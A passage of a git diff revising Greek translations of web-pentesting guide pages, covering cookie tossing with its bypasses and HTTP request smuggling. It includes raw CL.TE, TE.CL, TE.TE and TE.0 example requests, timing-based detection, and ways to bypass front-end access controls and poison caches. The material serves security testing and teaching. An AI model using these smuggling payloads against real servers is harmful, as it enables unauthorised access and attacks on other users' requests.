ίδια εμβέλεια** (domain, υποτομείς και διαδρομή), ο **περιηγητής θα στείλει και τις δύο τιμές του cookie** όταν και οι δύο είναι έγκυρες για το αίτημα. -Ανάλογα με το ποιος έχει **την πιο συγκεκριμένη διαδρομή** ή ποιο είναι το **παλαιότερο**, ο περιηγητής θα **ορίσει πρώτα την τιμή του cookie** και στη συνέχεια την τιμή του άλλου όπως σε: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` +Ανάλογα με το ποιος έχει **την πιο συγκεκριμένη διαδρομή** ή ποιο είναι το **παλαιότερο**, ο περιηγητής θα **ορίσει πρώτα την τιμή του cookie** και στη συνέχεια την τιμή του άλλου όπως στο: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` -Οι περισσότερες **ιστοσελίδες θα χρησιμοποιούν μόνο την πρώτη τιμή**. Έτσι, αν ένας επιτιθέμενος θέλει να ορίσει ένα cookie, είναι καλύτερο να το ορίσει πριν οριστεί άλλο ή να το ορίσει με μια πιο συγκεκριμένη διαδρομή. +Οι περισσότερες **ιστοσελίδες θα χρησιμοποιούν μόνο την πρώτη τιμή**. Έτσι, αν ένας επιτιθέμενος θέλει να ορίσει ένα cookie είναι καλύτερα να το ορίσει πριν οριστεί ένα άλλο ή να το ορίσει με μια πιο συγκεκριμένη διαδρομή. > [!WARNING] -> Επιπλέον, η δυνατότητα να **ορίσετε ένα cookie σε μια πιο συγκεκριμένη διαδρομή** είναι πολύ ενδιαφέρουσα καθώς θα μπορείτε να κάνετε τον **θύμα να εργάζεται με το cookie του εκτός από την συγκεκριμένη διαδρομή όπου το κακόβουλο cookie θα σταλεί πρώτα**. +> Επιπλέον, η ικανότητα να **ορίσετε ένα cookie σε μια πιο συγκεκριμένη διαδρομή** είναι πολύ ενδιαφέρουσα καθώς θα μπορείτε να κάνετε τον **θύμα να εργάζεται με το cookie του εκτός από την συγκεκριμένη διαδρομή όπου το κακόβουλο cookie θα σταλεί πρώτα**. -### Παράκαμψη Προστασίας +### Protection Bypass Μια πιθανή προστασία κατά αυτής της επίθεσης θα ήταν ότι ο **διακομιστής ιστού δεν θα αποδέχεται αιτήματα με δύο cookies με το ίδιο όνομα αλλά με δύο διαφορετικές τιμές**. -Για να παρακάμψει το σενάριο όπου ο επιτιθέμενος ορίζει ένα cookie αφού το θύμα έχει ήδη λάβει το cookie, ο επιτιθέμενος θα μπορούσε να προκαλέσει μια **υπερχείλιση cookie** και στη συνέχεια, μόλις το **νόμιμο cookie διαγραφεί, να ορίσει το κακόβουλο**. +Για να παρακάμψει το σενάριο όπου ο επιτιθέμενος ορίζει ένα cookie αφού το θύμα έχει ήδη λάβει το cookie, ο επιτιθέμενος θα μπορούσε να προκαλέσει μια **cookie overflow** και στη συνέχεια, μόλις το **νόμιμο cookie διαγραφεί, να ορίσει το κακόβουλο**. + {{#ref}} cookie-jar-overflow.md {{#endref}} -Μια άλλη χρήσιμη **παράκαμψη** θα μπορούσε να είναι να **URL encode το όνομα του cookie** καθώς ορισμένες προστασίες ελέγχουν για 2 cookies με το ίδιο όνομα σε ένα αίτημα και στη συνέχεια ο διακομιστής θα αποκωδικοποιήσει τα ονόματα των cookies. +Μια άλλη χρήσιμη **παράκαμψη** θα μπορούσε να είναι να **URL encode το όνομα του cookie** καθώς κάποιες προστασίες ελέγχουν για 2 cookies με το ίδιο όνομα σε ένα αίτημα και στη συνέχεια ο διακομιστής θα αποκωδικοποιήσει τα ονόματα των cookies. ### Cookie Bomb Μια επίθεση Cookie Tossing μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει μια **Cookie Bomb** επίθεση: + {{#ref}} cookie-bomb.md {{#endref}} @@ -55,8 +57,8 @@ cookie-bomb.md #### **Χρησιμοποιήστε το πρόθεμα `__Host` στο όνομα του cookie** -- Εάν ένα όνομα cookie έχει αυτό το πρόθεμα, **θα γίνεται αποδεκτό** μόνο σε μια οδηγία Set-Cookie εάν είναι επισημασμένο ως Secure, έχει σταλεί από μια ασφαλή προέλευση, δεν περιλαμβάνει ένα χαρακτηριστικό Domain και έχει το χαρακτηριστικό Path ορισμένο σε / -- **Αυτό αποτρέπει τους υποτομείς από το να επιβάλλουν ένα cookie στο ανώτατο domain καθώς αυτά τα cookies μπορούν να θεωρηθούν ως "κλειδωμένα σε domain"** +- Εάν ένα όνομα cookie έχει αυτό το πρόθεμα, **θα γίνεται αποδεκτό** σε μια οδηγία Set-Cookie μόνο εάν είναι επισημασμένο ως Secure, έχει σταλεί από μια ασφαλή προέλευση, δεν περιλαμβάνει ένα χαρακτηριστικό Domain και έχει το χαρακτηριστικό Path ορισμένο σε / +- **Αυτό αποτρέπει τους υποτομείς από το να επιβάλλουν ένα cookie στο apex domain καθώς αυτά τα cookies μπορούν να θεωρηθούν ως "domain-locked"** ### Αναφορές diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 8850603e8..34c500f67 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -4,7 +4,7 @@ ## Τι είναι -Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **proxy front-end** και του **server back-end** επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα **ερμηνευτεί** ως **ένα μόνο request** από τους **proxy front-end** (load balance/reverse-proxy) και **ως 2 requests** από τον **server back-end**.\ +Αυτή η ευπάθεια συμβαίνει όταν μια **αποσυγχρονισμένη** κατάσταση μεταξύ των **proxy front-end** και του **server back-end** επιτρέπει σε έναν **επιτιθέμενο** να **στείλει** ένα HTTP **request** που θα **ερμηνευθεί** ως **ένα μόνο request** από τους **proxy front-end** (load balance/reverse-proxy) και **ως 2 requests** από τον **server back-end**.\ Αυτό επιτρέπει σε έναν χρήστη να **τροποποιήσει το επόμενο request που φτάνει στον server back-end μετά το δικό του**. ### Θεωρία @@ -25,14 +25,14 @@ ### Πραγματικότητα Οι **Front-End** (ένα load-balance / Reverse Proxy) **επεξεργάζονται** την κεφαλίδα _**content-length**_ ή την κεφαλίδα _**transfer-encoding**_ και ο **Back-end** server **επεξεργάζεται την άλλη** προκαλώντας μια **αποσυγχρονισμένη** κατάσταση μεταξύ των 2 συστημάτων.\ -Αυτό μπορεί να είναι πολύ κρίσιμο καθώς **ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request** στον reverse proxy που θα **ερμηνευτεί** από τον **server back-end** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο γεγονός ότι ο **server back-end** **θα ερμηνεύσει** το **2ο request που εισάγεται** σαν να **προήλθε από τον επόμενο πελάτη** και το **πραγματικό request** αυτού του πελάτη θα είναι **μέρος** του **εισαγμένου request**. +Αυτό μπορεί να είναι πολύ κρίσιμο καθώς **ένας επιτιθέμενος θα είναι σε θέση να στείλει ένα request** στον reverse proxy που θα **ερμηνευθεί** από τον **server back-end** **ως 2 διαφορετικά requests**. Ο **κίνδυνος** αυτής της τεχνικής έγκειται στο γεγονός ότι ο **server back-end** **θα ερμηνεύσει** το **2ο request που εισάγεται** σαν να **προήλθε από τον επόμενο πελάτη** και το **πραγματικό request** αυτού του πελάτη θα είναι **μέρος** του **εισαγμένου request**. ### Ιδιαιτερότητες Θυμηθείτε ότι στο HTTP **ένας χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:** - **Content-Length**: Αυτή η κεφαλίδα χρησιμοποιεί έναν **δεκαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **σώματος** του request. Το σώμα αναμένεται να τελειώνει στον τελευταίο χαρακτήρα, **μια νέα γραμμή δεν είναι απαραίτητη στο τέλος του request**. -- **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **κομμάτι** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **κομμάτι μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0` +- **Transfer-Encoding:** Αυτή η κεφαλίδα χρησιμοποιεί στο **σώμα** έναν **εξαδικό αριθμό** για να υποδείξει τον **αριθμό** των **bytes** του **επόμενου κομματιού**. Το **chunk** πρέπει να **τελειώνει** με μια **νέα γραμμή** αλλά αυτή η νέα γραμμή **δεν μετράται** από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώνει με ένα **chunk μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές**: `0` - **Connection**: Βασισμένο στην εμπειρία μου, συνιστάται να χρησιμοποιείτε **`Connection: keep-alive`** στο πρώτο request της τεχνικής Smuggling. ## Βασικά Παραδείγματα @@ -49,7 +49,7 @@ > [!TIP] > Στον προηγούμενο πίνακα θα πρέπει να προσθέσετε την τεχνική TE.0, όπως η τεχνική CL.0 αλλά χρησιμοποιώντας Transfer Encoding. -#### CL.TE Ευπάθεια (Content-Length που χρησιμοποιείται από Front-End, Transfer-Encoding που χρησιμοποιείται από Back-End) +#### CL.TE Ευπάθεια (Content-Length χρησιμοποιούμενη από Front-End, Transfer-Encoding χρησιμοποιούμενη από Back-End) - **Front-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`. - **Back-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`. @@ -73,13 +73,13 @@ GET /404 HTTP/1.1 Foo: x ``` -#### TE.CL Ευπάθεια (Transfer-Encoding που χρησιμοποιείται από Front-End, Content-Length που χρησιμοποιείται από Back-End) +#### TE.CL Ευπάθεια (Transfer-Encoding χρησιμοποιούμενη από Front-End, Content-Length χρησιμοποιούμενη από Back-End) - **Front-End (TE):** Επεξεργάζεται το request με βάση την κεφαλίδα `Transfer-Encoding`. - **Back-End (CL):** Επεξεργάζεται το request με βάση την κεφαλίδα `Content-Length`. - **Σενάριο Επίθεσης:** -- Ο επιτιθέμενος στέλνει ένα chunked request όπου το μέγεθος του κομματιού (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται. +- Ο επιτιθέμενος στέλνει ένα chunked request όπου το μέγεθος του chunk (`7b`) και το πραγματικό μήκος περιεχομένου (`Content-Length: 4`) δεν ευθυγραμμίζονται. - Ο server front-end, τιμώντας το `Transfer-Encoding`, προωθεί ολόκληρο το request στον back-end. - Ο server back-end, σεβόμενος το `Content-Length`, επεξεργάζεται μόνο το αρχικό μέρος του request (`7b` bytes), αφήνοντας το υπόλοιπο ως μέρος ενός μη προγραμματισμένου επόμενου request. - **Παράδειγμα:** @@ -102,14 +102,14 @@ x= ``` -#### TE.TE Ευπάθεια (Transfer-Encoding που χρησιμοποιείται και από τους δύο, με παραπλάνηση) +#### TE.TE Ευπάθεια (Transfer-Encoding χρησιμοποιούμενη και από τους δύο, με παραπλάνηση) - **Servers:** Και οι δύο υποστηρίζουν το `Transfer-Encoding`, αλλά ένας μπορεί να παραπλανηθεί ώστε να το αγνοήσει μέσω παραπλάνησης. - **Σενάριο Επίθεσης:** - Ο επιτιθέμενος στέλνει ένα request με παραπλανημένες κεφαλίδες `Transfer-Encoding`. - Ανάλογα με το ποιος server (front-end ή back-end) αποτυγχάνει να αναγνωρίσει την παραπλάνηση, μπορεί να εκμεταλλευτεί μια ευπάθεια CL.TE ή TE.CL. -- Το μη επεξεργασμένο μέρος του request, όπως φαίνεται από έναν από τους servers, γίνεται μέρος ενός επόμενου request, οδηγώντας σε smuggling. +- Το μη επεξεργασμένο μέρος του request, όπως το βλέπει ένας από τους servers, γίνεται μέρος ενός επόμενου request, οδηγώντας σε smuggling. - **Παράδειγμα:** ``` @@ -129,9 +129,9 @@ Transfer-Encoding : chunked ``` -#### **CL.CL Σενάριο (Content-Length που χρησιμοποιείται και από τους δύο Front-End και Back-End)** +#### **CL.CL Σενάριο (Content-Length χρησιμοποιούμενη και από τους Front-End και Back-End)** -- Και οι δύο servers επεξεργάζονται το request αποκλειστικά με βάση την κεφαλίδα `Content-Length`. +- Και οι δύο servers επεξεργάζονται το request βασισμένο αποκλειστικά στην κεφαλίδα `Content-Length`. - Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει ευθυγράμμιση στον τρόπο που και οι δύο servers ερμηνεύουν το μήκος του request. - **Παράδειγμα:** @@ -163,7 +163,7 @@ Non-Empty Body - Όπως το προηγούμενο αλλά χρησιμοποιώντας TE - Τεχνική [αναφερόμενη εδώ](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- **Παράδειγμα:** +- **Παράδειγμα**: ``` OPTIONS / HTTP/1.1 Host: {HOST} @@ -189,7 +189,7 @@ EMPTY_LINE_HERE #### Εξανα forcing μέσω κεφαλίδων hop-by-hop -Καταχρώντας τις κεφαλίδες hop-by-hop μπορείτε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**. +Καταχρώντας τις κεφαλίδες hop-by-hop, θα μπορούσατε να υποδείξετε στον proxy να **διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding ώστε να είναι δυνατή η κατάχρηση του HTTP request smuggling**. ``` Connection: Content-Length ``` @@ -201,7 +201,7 @@ Connection: Content-Length ## Εύρεση HTTP Request Smuggling -Η αναγνώριση ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί χρησιμοποιώντας τεχνικές χρονομέτρησης, οι οποίες βασίζονται στην παρατήρηση του χρόνου που χρειάζεται ο διακομιστής για να απαντήσει σε παραποιημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για την ανίχνευση ευπαθειών CL.TE και TE.CL. Εκτός από αυτές τις μεθόδους, υπάρχουν άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για να βρουν τέτοιες ευπάθειες: +Η αναγνώριση ευπαθειών HTTP request smuggling μπορεί συχνά να επιτευχθεί χρησιμοποιώντας τεχνικές χρονομέτρησης, οι οποίες βασίζονται στην παρατήρηση του πόσο χρόνο χρειάζεται ο διακομιστής για να απαντήσει σε παραποιημένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για την ανίχνευση ευπαθειών CL.TE και TE.CL. Εκτός από αυτές τις μεθόδους, υπάρχουν άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για να βρουν τέτοιες ευπάθειες: ### Εύρεση Ευπαθειών CL.TE Χρησιμοποιώντας Τεχνικές Χρονομέτρησης @@ -227,7 +227,7 @@ A - Ο διακομιστής back-end, περιμένοντας ένα chunked μήνυμα, περιμένει το επόμενο chunk που ποτέ δεν φτάνει, προκαλώντας καθυστέρηση. - **Δείκτες:** -- Χρονοθυρίδες ή μεγάλες καθυστερήσεις στην απάντηση. +- Χρονοouts ή μεγάλες καθυστερήσεις στην απάντηση. - Λήψη σφάλματος 400 Bad Request από τον διακομιστή back-end, μερικές φορές με λεπτομερείς πληροφορίες διακομιστή. ### Εύρεση Ευπαθειών TE.CL Χρησιμοποιώντας Τεχνικές Χρονομέτρησης @@ -259,7 +259,7 @@ X - **Χρησιμοποιώντας Αυτοματοποιημένα Εργαλεία:** - Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν αυτόματα να δοκιμάσουν αυτές τις ευπάθειες στέλνοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις απαντήσεις. - **Δοκιμές Διαφορετικών Τιμών Content-Length:** -- Στείλτε αιτήματα με μεταβαλλόμενες τιμές `Content-Length` που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο διακομιστής χειρίζεται τέτοιες ασυμφωνίες. +- Στείλτε αιτήματα με διαφορετικές τιμές `Content-Length` που δεν ευθυγραμμίζονται με το πραγματικό μήκος περιεχομένου και παρατηρήστε πώς ο διακομιστής χειρίζεται τέτοιες ασυμφωνίες. - **Δοκιμές Διαφορετικών Τιμών Transfer-Encoding:** - Στείλτε αιτήματα με παραποιημένες ή κακώς διαμορφωμένες κεφαλίδες `Transfer-Encoding` και παρακολουθήστε πώς αντιδρούν διαφορετικά οι διακομιστές front-end και back-end σε τέτοιες παραποιήσεις. @@ -271,19 +271,19 @@ X Κατά τη δοκιμή ευπαθειών request smuggling παρεμβαίνοντας σε άλλα αιτήματα, έχετε υπόψη: -- **Διακριτές Συνδέσεις Δικτύου:** Τα "επίθεση" και "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών συνδέσεων δικτύου. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας. +- **Διακριτές Δικτυακές Συνδέσεις:** Τα "επίθετα" και τα "κανονικά" αιτήματα θα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την παρουσία της ευπάθειας. - **Συνεπής URL και Παράμετροι:** Στοχεύστε να χρησιμοποιήσετε ταυτόσημα URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους διακομιστές back-end με βάση το URL και τις παραμέτρους. Η αντιστοίχιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση. -- **Χρονομέτρηση και Συνθήκες Ανταγωνισμού:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθεση" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθεση" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας. -- **Προκλήσεις Φορτίου Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισορροπίας φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας. +- **Χρονομέτρηση και Συνθήκες Ανταγωνισμού:** Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρέμβαση από το "επίθετο" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθετο" αίτημα. Οι πολυάσχολες εφαρμογές μπορεί να απαιτούν πολλές δοκιμές για την επιβεβαίωση της ευπάθειας. +- **Προκλήσεις Φορτίου Ισορροπίας:** Οι διακομιστές front-end που λειτουργούν ως ισοσταθμιστές φορτίου μπορεί να διανέμουν αιτήματα σε διάφορα συστήματα back-end. Εάν τα "επίθετα" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα επιτύχει. Αυτό το στοιχείο ισοστάθμισης φορτίου μπορεί να απαιτήσει πολλές προσπάθειες για την επιβεβαίωση μιας ευπάθειας. - **Ακούσια Επίδραση στους Χρήστες:** Εάν η επίθεσή σας επηρεάσει κατά λάθος το αίτημα άλλου χρήστη (όχι το "κανονικό" αίτημα που στείλατε για ανίχνευση), αυτό υποδεικνύει ότι η επίθεσή σας επηρέασε έναν άλλο χρήστη της εφαρμογής. Η συνεχής δοκιμή θα μπορούσε να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση. ## Διαχωρισμός των τεχνικών HTTP/1.1 pipelining από την πραγματική request smuggling -Η επαναχρησιμοποίηση συνδέσεων (keep-alive) και η pipelining μπορεί εύκολα να δημιουργήσουν ψευδαισθήσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στην ίδια υποδοχή. Μάθετε να διαχωρίζετε αβλαβή στοιχεία πελάτη από πραγματική ασυγχρονία διακομιστή. +Η επαναχρησιμοποίηση συνδέσεων (keep-alive) και το pipelining μπορεί εύκολα να δημιουργήσουν ψευδαισθήσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στην ίδια υποδοχή. Μάθετε να διαχωρίζετε αβλαβή στοιχεία πελάτη από πραγματική ασυγχρονία διακομιστή. -### Γιατί η pipelining δημιουργεί κλασικά ψευδώς θετικά +### Γιατί το pipelining δημιουργεί κλασικά ψευδώς θετικά -Το HTTP/1.1 επαναχρησιμοποιεί μια μόνο σύνδεση TCP/TLS και συνενώνει αιτήματα και απαντήσεις στην ίδια ροή. Στην pipelining, ο πελάτης στέλνει πολλαπλά αιτήματα το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα κοινό ψευδώς θετικό είναι να ξαναστείλετε ένα κακώς διαμορφωμένο payload τύπου CL.0 δύο φορές σε μια μόνο σύνδεση: +Το HTTP/1.1 επαναχρησιμοποιεί μια μόνο σύνδεση TCP/TLS και συνενώνει αιτήματα και απαντήσεις στην ίδια ροή. Στο pipelining, ο πελάτης στέλνει πολλαπλά αιτήματα το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα κοινό ψευδώς θετικό είναι να ξαναστείλετε ένα κακώς διαμορφωμένο payload τύπου CL.0 δύο φορές σε μια μόνο σύνδεση: ``` POST / HTTP/1.1 Host: hackxor.net @@ -344,18 +344,18 @@ Impact: κανένα. Απλώς αποσυνδέσατε τον πελάτη σ ### Αποστολή αιτημάτων κλειδώματος σύνδεσης (απαιτείται επαναχρησιμοποίηση) -Ορισμένα front-ends επαναχρησιμοποιούν μόνο τη σύνδεση upstream όταν ο πελάτης επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματική αποστολή αλλά είναι υπό προϋποθέσεις επαναχρησιμοποίησης από την πλευρά του πελάτη. Για να διακρίνετε και να αποδείξετε τον αντίκτυπο: +Ορισμένα front-ends επαναχρησιμοποιούν μόνο τη σύνδεση upstream όταν ο πελάτης επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματική αποστολή, αλλά είναι υπό προϋποθέσεις επαναχρησιμοποίησης από την πλευρά του πελάτη. Για να διακρίνετε και να αποδείξετε τον αντίκτυπο: - Αποδείξτε το σφάλμα από την πλευρά του διακομιστή - Χρησιμοποιήστε τον έλεγχο εσωτερικής απάντησης HTTP/2, ή - Χρησιμοποιήστε μερικά αιτήματα για να δείξετε ότι το FE επαναχρησιμοποιεί μόνο το upstream όταν το κάνει ο πελάτης. - Δείξτε πραγματικό αντίκτυπο ακόμη και αν η άμεση κακή χρήση υποδοχής χρηστών είναι αποκλεισμένη: -- Μόλυνση cache: μολύνετε κοινές cache μέσω της αποσύνδεσης ώστε οι απαντήσεις να επηρεάζουν άλλους χρήστες. +- Μολυσματική προσωρινή αποθήκευση: μολύνετε κοινές προσωρινές αποθήκες μέσω της αποσύνδεσης ώστε οι απαντήσεις να επηρεάζουν άλλους χρήστες. - Αποκάλυψη εσωτερικών κεφαλίδων: αντανάκλαση κεφαλίδων που εισάγονται από το FE (π.χ., κεφαλίδες auth/trust) και μετά πηγαίνετε σε παράκαμψη αυθεντικοποίησης. -- Παράκαμψη ελέγχων FE: αποστείλετε περιορισμένα μονοπάτια/μεθόδους πέρα από το front-end. -- Κακή χρήση κεφαλίδας host: συνδυάστε με ιδιοτροπίες δρομολόγησης host για να μεταβείτε σε εσωτερικά vhosts. +- Παράκαμψη ελέγχων FE: αποστείλετε περιορισμένες διαδρομές/μεθόδους πέρα από το front-end. +- Κακή χρήση κεφαλίδας-φιλοξενίας: συνδυάστε με ιδιοτροπίες δρομολόγησης φιλοξενίας για να μεταβείτε σε εσωτερικούς vhosts. - Ροή εργασίας χειριστή - Αναπαραγωγή με ελεγχόμενη επαναχρησιμοποίηση (Turbo Intruder `requestsPerConnection=2`, ή ομάδα καρτελών Burp Repeater → "Αποστολή ομάδας σε σειρά (μία σύνδεση)"). -- Στη συνέχεια, αλυσίδα σε primitives μόλυνσης cache/διαρροής κεφαλίδων/παράκαμψης ελέγχου και δείξτε αντίκτυπο διασύνδεσης χρηστών ή εξουσιοδότησης. +- Στη συνέχεια, αλυσίδα σε μολυσματικά/κεφαλίδα-διαρροής/παράκαμψη ελέγχου και δείξτε αντίκτυπο διασταυρούμενου χρήστη ή εξουσιοδότησης. > Δείτε επίσης επιθέσεις κατάστασης σύνδεσης, οι οποίες σχετίζονται στενά αλλά δεν είναι τεχνικά αποστολή: > @@ -365,7 +365,7 @@ Impact: κανένα. Απλώς αποσυνδέσατε τον πελάτη σ ### Περιορισμοί αποσύνδεσης από την πλευρά του πελάτη -Αν στοχεύετε σε αποσύνδεση από την πλευρά του πελάτη/του προγράμματος περιήγησης, το κακόβουλο αίτημα πρέπει να μπορεί να σταλεί από ένα πρόγραμμα περιήγησης διασυνοριακά. Τεχνάσματα απόκρυψης κεφαλίδων δεν θα λειτουργήσουν. Επικεντρωθείτε σε primitives που είναι προσβάσιμα μέσω πλοήγησης/λήψης, και στη συνέχεια μεταβείτε σε μόλυνση cache, αποκάλυψη κεφαλίδων ή παράκαμψη ελέγχου front-end όπου τα downstream στοιχεία αντικατοπτρίζουν ή αποθηκεύουν απαντήσεις. +Αν στοχεύετε σε αποσύνδεση από την πλευρά του πελάτη/προγράμματος περιήγησης, το κακόβουλο αίτημα πρέπει να μπορεί να σταλεί από ένα πρόγραμμα περιήγησης διασυνοριακά. Τεχνάσματα παραπλάνησης κεφαλίδων δεν θα λειτουργήσουν. Επικεντρωθείτε σε πρωτότυπα που είναι προσβάσιμα μέσω πλοήγησης/λήψης, και στη συνέχεια μεταβείτε σε μολυσματική προσωρινή αποθήκευση, αποκάλυψη κεφαλίδων ή παράκαμψη ελέγχου front-end όπου τα downstream στοιχεία αντικατοπτρίζουν ή αποθηκεύουν απαντήσεις. Για υπόβαθρο και ροές εργασίας από άκρο σε άκρο: @@ -375,21 +375,21 @@ browser-http-request-smuggling.md ### Εργαλεία για βοήθεια στην απόφαση -- HTTP Hacker (Burp BApp Store): εκθέτει χαμηλού επιπέδου συμπεριφορά HTTP και συγχώνευση υποδοχών. +- HTTP Hacker (Burp BApp Store): αποκαλύπτει χαμηλού επιπέδου συμπεριφορά HTTP και συγχώνευση υποδοχών. - "Αποστολή ή προσωρινή αποθήκευση;" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda - Turbo Intruder: ακριβής έλεγχος της επαναχρησιμοποίησης σύνδεσης μέσω `requestsPerConnection`. - Burp HTTP Request Smuggler: περιλαμβάνει μια δοκιμή κατάστασης σύνδεσης για να εντοπίσει τη δρομολόγηση/επικύρωση πρώτου αιτήματος. > [!NOTE] -> Αντιμετωπίστε τις επιδράσεις μόνο επαναχρησιμοποίησης ως μη ζητήματα εκτός αν μπορείτε να αποδείξετε αποσύνδεση από την πλευρά του διακομιστή και να συνδέσετε συγκεκριμένο αντίκτυπο (μολυσμένο αντικείμενο cache, διαρροή εσωτερικής κεφαλίδας που επιτρέπει παράκαμψη προνομίων, παρακάμψη ελέγχου FE, κ.λπ.). +> Αντιμετωπίστε τις επιδράσεις μόνο επαναχρησιμοποίησης ως μη ζητήματα εκτός αν μπορείτε να αποδείξετε αποσύνδεση από την πλευρά του διακομιστή και να συνδέσετε συγκεκριμένο αντίκτυπο (μολυσματικό αντικείμενο προσωρινής αποθήκευσης, διαρροή εσωτερικής κεφαλίδας που επιτρέπει παράκαμψη προνομίων, παρακάμψη ελέγχου FE, κ.λπ.). ## Κακή χρήση HTTP Request Smuggling -### Παράκαμψη ασφάλειας Front-End μέσω HTTP Request Smuggling +### Παράκαμψη της Ασφάλειας Front-End μέσω HTTP Request Smuggling -Μερικές φορές, οι front-end διακομιστές επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον front-end διακομιστή να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τις ενσωματωμένες αιτήσεις μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών. +Μερικές φορές, οι front-end διακομιστές μεσολάβησης επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον front-end διακομιστή μεσολάβησης να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τις ενσωματωμένες αιτήσεις μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την 